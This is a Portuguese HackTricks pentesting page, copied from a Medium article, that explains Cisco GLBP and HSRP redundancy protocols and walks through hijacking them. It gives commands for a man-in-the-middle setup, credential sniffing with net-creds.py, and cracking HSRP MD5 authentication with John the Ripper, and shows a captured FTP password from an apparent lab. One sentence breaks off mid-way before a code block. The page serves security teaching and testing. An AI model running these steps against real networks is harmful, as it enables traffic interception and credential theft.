# Ataques GLBP e HSRP
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
**Esta página foi copiada de** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)\*\*\*\*
## Sequestro FHRP
### O que é FHRP?
FHRP (Protocolo de Redundância do Primeiro Salto) é uma classe de protocolos de rede projetados para criar um sistema de roteamento redundante. Com o FHRP, roteadores físicos podem ser combinados em um único dispositivo lógico, o que aumenta a tolerância a falhas e ajuda a distribuir a carga.
**Os engenheiros da Cisco Systems desenvolveram dois protocolos FHRP, GLBP e HSRP, que demonstrarei a seguir.**
### Protocolo GLBP
**Desenvolvido pelos engenheiros da Cisco Systems.** Como o HSRP, este protocolo é implementado no topo da pilha de protocolos TCP/IP, por isso é usado o protocolo de camada de transporte UDP sob o número de porta 3222 para a tradução de informações de serviço. Os roteadores GLBP dentro do mesmo grupo lógico trocam pacotes "hello" especiais a cada 3 segundos, mas se um roteador GLBP dentro do mesmo grupo não receber um pacote hello de seu vizinho GLBP dentro de 10 segundos, ele o reconhece como "morto". No entanto, os valores do temporizador podem ser configurados dependendo das necessidades do administrador.
### A estrutura e mecânica do GLBP
O GLBP fornece compartilhamento de carga para vários roteadores (gateways) usando um único endereço IP virtual e vários endereços MAC virtuais. Cada host é configurado com o mesmo endereço IP virtual e todos os roteadores no grupo virtual participam da transmissão de pacotes.
Funciona de maneira muito diferente dos protocolos HSRP e VRRP porque usa verdadeiros mecanismos de balanceamento de carga, que descreverei abaixo:
**Dependente do Host.** Um tipo de balanceamento de carga usado em uma rede onde há NAT. O Dependente do Host garante que o host receberá de volta o mesmo endereço MAC do dispositivo AVF que foi usado em um momento anterior, assim a NAT configurada para o host não será quebrada.
**Round-Robin.** Neste modo, o dispositivo AVG distribui endereços MAC para os membros AVF alternadamente. Este é o mecanismo usado por padrão.
**Round-robin baseado em peso**. Balanceamento de carga baseado em uma métrica especial "Peso".
### Funções no domínio GLBP e Terminologia
**AVG (Gateway Virtual Ativo)** - o roteador com o papel principal é também responsável por distribuir endereços MAC para outros roteadores dentro do mesmo grupo GLBP. Uma espécie de "chefe" no domínio GLBP. O AVG informa aos outros roteadores como distribuir o tráfego, fornecendo endereços MAC quando uma solicitação ARP chega. Vale ressaltar que só pode haver um roteador AVG em um domínio GLBP, mas ele também pode ser um membro AVF.
**AVF (Encaminhador Virtual Ativo)** - um roteador em um grupo GLBP que lida com o tráfego na rede.
**Prioridade GLBP** - O valor de prioridade que determina qual roteador no grupo GLBP será o AVG. O valor padrão é 100 (a faixa de prioridade pode ser de 1 a 255). Pode ser definido manualmente, ou seja, o engenheiro de rede determina qual roteador será o "superior" e qual será o "escravo". Quanto maior a prioridade, maior a probabilidade de o roteador obter o papel de AVG. Normalmente, o papel de AVG é dado a roteadores mais poderosos.
**Peso GLBP** - O valor do chamado Peso GLBP de um roteador em um grupo GLBP. O Peso GLBP define o nível de carga do roteador. Este valor é "flutuante" e pode variar dependendo da carga no canal físico (o mecanismo de Rastreamento de Objetos está envolvido), mas também pode ser configurado manualmente.
**Endereço IP virtual GLBP** - o endereço IP virtual no domínio GLBP. Usado como endereço de gateway padrão para hosts legítimos.
O GLBP usa o endereço IP de envio de grupo reservado **224.0.0.102** e o número de porta do protocolo de camada de transporte UDP **3222** para enviar e processar informações de serviço. Pacotes GLBP Hello especiais são enviados a cada **3 segundos**. Se o roteador GLBP não receber um pacote hello de um vizinho dentro de **10 segundos**, o vizinho será considerado "morto" e sairá do domínio GLBP.
### Mecanismo de ataque GLBP
A técnica deste ataque de rede é impor seu dispositivo como o roteador principal **injetando um pacote GLBP malicioso com um valor de prioridade máximo.** **A exploração bem-sucedida leva a um ataque DoS ou MITM no qual você pode interceptar o tráfego dentro da rede, conduzir um redirecionamento ou causar um DoS ao
```
~$ sudo ip link set eth0 promisc on
~$ sudo sysctl -w net.ipv4.ip_forward=1
```
Selecione o roteador com endereço IP **10.10.100.100** e ative a opção **Obter IP**. Você também precisa gerar um **ARP Gratuito**.
Como você pode ver, o roteador AVG agora está fingindo ser um sistema atacante. **O valor de prioridade é 255, o valor de peso é 255, ou seja, o máximo.**
**Após realizar a injeção, precisamos criar um endereço IP secundário em nossa interface de rede com o valor do endereço IP virtual no domínio GLBP. Você também precisa definir uma máscara de 24 bits.**
**Dessa forma, o tráfego legítimo será redirecionado de volta para nós, porque o endereço IP virtual usado no domínio GLBP é o endereço do gateway padrão para hosts:**
```
~$ sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
```
Para ver não apenas o tráfego de entrada, mas também o tráfego de saída, precisamos de uma pequena regra para **SNAT (masquerading):**
```
~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```
Também precisamos remover a rota padrão em nossa máquina e escrever uma nova que passará pelo antigo roteador AVG (o endereço é 10.10.100.100). Mesmo que tenhamos sequestrado o papel do AVG do roteador, ele ainda poderá rotear o tráfego.
```
~$ sudo route del default
~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
```
É isso, **agora somos o "homem do meio"!** Vou executar a ferramenta [**net-creds.py**](https://github.com/DanMcInerney/net-creds) para analisar o tráfego em busca de dados importantes. **Por exemplo, tráfego FTP não criptografado ou hashes NTLM.**
```
~$ sudo python2 net-creds.py -i eth0
```
Depois de executar a ferramenta, tentarei ler a compartilhamento SMB com o endereço IP **172.16.100.70**, que está atrás dos roteadores GLBP.
```
user@Boundless:~$ smbclient -L \\172.16.100.70 --user mercy
```
**Assim é como você pode interceptar o tráfego dentro da rede atacando domínios GLBP.**
### Sequestro de HSRP
**HSRP (Hot Standby Router/Redundancy Protocol) —** é um protocolo proprietário da Cisco que permite a redundância do gateway de rede. A ideia geral é combinar vários roteadores físicos em um roteador lógico com um endereço IP comum. Este endereço do roteador virtual será atribuído à interface do roteador com a função de mestre, e este, por sua vez, cuidará do encaminhamento do tráfego. No domínio HSRP, a tarefa de lidar com todo o tráfego recai precisamente sobre o roteador com a função primária, ao contrário do GLBP, onde foi proposto o balanceamento de carga usando métricas especiais (prioridade e peso).
### Funções no domínio HSRP e terminologia
**Roteador Ativo HSRP** — um dispositivo que age como um roteador virtual e fornece o encaminhamento do tráfego de redes de origem para redes de destino.\
**Roteador Standby HSRP** — um dispositivo que age como um roteador standby, aguardando a falha do roteador ativo. Quando o roteador ativo primário falha, o roteador standby assumirá o papel primário e assumirá as funções do roteador ativo.\
**Grupo HSRP** — um grupo de dispositivos que garante a operação e tolerância a falhas de um roteador lógico.\
**Endereço MAC HSRP** — o endereço MAC virtual do roteador lógico no domínio HSRP.\
**Endereço IP Virtual HSRP** — Este é um endereço IP virtual especial no grupo HSRP. Este endereço IP será o gateway padrão para os hosts finais, usado no próprio roteador lógico.
### Versões do protocolo HSRP
O protocolo HSRP tem duas versões — HSRPv1 e HSRPv2. Eles diferem nos seguintes parâmetros:
* **O número de grupos lógicos possíveis.** HSRPv1 pode ter até 255 grupos. HSRPv2 pode ter até 4096 grupos.
* **Endereço IP multicast.** HSRPv1 usa o endereço IP **224.0.0.2** para enviar informações de serviço, e HSRPv2 usa **224.0.0.102**.
* **Endereço MAC virtual.** HSRPv1 usa **00:00:0C:07:AC:XX** como seu endereço MAC virtual. HSRPv2 tem um endereço MAC virtual de **00:00:0C:9F:FX:XX** (onde XX é o número do grupo HSRP)
HSRP usa o endereço IP reservado **224.0.0.2** ou **224.0.0.102** (dependendo da versão do HSRP) e o protocolo de camada de transporte UDP com o número de porta **1985** para transmitir e processar as informações de serviço. Pacotes HSRP Hello especiais são enviados **a cada 3 segundos.** Se o roteador HSRP não receber um pacote hello de um vizinho **dentro de 10 segundos**, o vizinho será considerado "morto" e sairá do domínio HSRP.
### Mecanismo de ataque HSRP
**Este é exatamente o mesmo que o Sequestro GLBP. Precisamos realizar uma injeção maliciosa de HSRP com um valor de prioridade máxima de 255.** Isso nos permite sequestrar o papel do roteador ativo, abrindo a porta para um ataque **MITM**. Mas novamente, precisamos examinar as seguintes informações antes de realizar o ataque:
* **O endereço IP virtual usado no domínio HSRP**
* **A presença de autenticação**
* **Valor das prioridades do roteador**
Podemos extrair essas informações analisando o tráfego HSRP. **Vamos usar o Wireshark.**
Como você pode ver na captura de tela, o processo HSRP envolve apenas dois roteadores com os endereços 10.10.100.100 e 10.10.100.200
Com base na análise do tráfego HSRP, temos o seguinte:
* **Foi detectada uma configuração incorreta dentro da configuração de prioridade. O roteador ativo é considerado um roteador HSRP com prioridade 200, ou seja, temos um vetor para o sequestro HSRP**
* **o endereço IP virtual usado no domínio HSRP é 10.10.100.254**
* **A autenticação MD5 é usada**
Ter autenticação no domínio amarra nossas mãos, mas eu vou consertar isso.
### Bypass de autenticação HSRP
Salve o dump de tráfego HSRP no formato **.pcap**, para que o exfiltrador possa extrair corretamente as hashes MD5 do dump. Vou usar o **hsrp2john.py** como exfiltrador:
```
~/cisconightmare/exfiltrate$ python2 hsrp2john.py hsrp_with_authentication.pcap
```
Vou quebrar as hashes com o **John the Ripper**, especificando as próprias hashes como entrada. E com o parâmetro **--wordlist** vou especificar o caminho para o dicionário:
```
~/cisconightmare/exfiltrate$ john hsrp_hashes --wordlist=wordlistforbrute
```
Como resultado, temos uma chave para entrar no domínio HSRP - **endgame**.
### Injeção HSRP (Loki)
Usarei o mesmo Loki para atacar o protocolo HSRP. Entre outras coisas, ele possui uma função de injeção de chave, que nos ajuda a contornar a autenticação. Anteriormente, na seção de sequestro HSRP, obtivemos todas as informações necessárias sobre o domínio HSRP.
Iniciando o Loki.
Não se esqueça de mudar para o modo promíscuo e permitir o roteamento de tráfego antes de realizar o ataque:
```
~$ sudo ip link set eth0 promisc on
~$ sudo sysctl -w net.ipv4.ip_forward=1
```
Selecione o roteador com o endereço **10.10.100.100** e uma prioridade de **200**. Como parâmetro **Secret**, **insira a senha quebrada** do domínio HSRP, gere um ARP Gratuito e selecione a opção **Get IP**.
**Como podemos ver, o roteador ativo agora é o nosso sistema de ataque. O valor de prioridade é 255.**
**Após a injeção, precisamos criar um endereço IP secundário em nossa interface de rede com o valor do endereço IP virtual no domínio HSRP. Você também deve especificar uma máscara de 24 bits. Dessa forma, o tráfego legítimo será redirecionado para nós, porque o endereço IP virtual usado no domínio HSRP é o endereço do gateway padrão para os hosts.**
```
~$ sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
```
Nós configuramos o conhecido NAT de origem (masquerading) para interceptar todo o tráfego:
```
~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```
Nós removemos a rota padrão da nossa máquina e escrevemos uma nova rota que passará pelo antigo roteador Ativo (cujo endereço é 10.10.100.100). Mesmo que tenhamos sequestrado o papel ativo do roteador, ele ainda será capaz de rotear o tráfego.
```
~$ sudo route del default
~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
```
Agora somos o "homem do meio". Vamos executar o **net-creds.py**:
```
~$ sudo python2 net-creds.py -i eth0
```
Depois de executar a ferramenta, vou reproduzir uma tentativa de autenticação no servidor FTP em 172.16.100.140:
```
~$ ftp 172.16.100.140
```
Como resultado, obtemos credenciais do servidor FTP: **insomnia:betrayal**
Assim é possível atacar o domínio HSRP e interceptar o tráfego. Basicamente, tudo é semelhante ao GLBP.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Você trabalha em uma **empresa de segurança cibernética**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).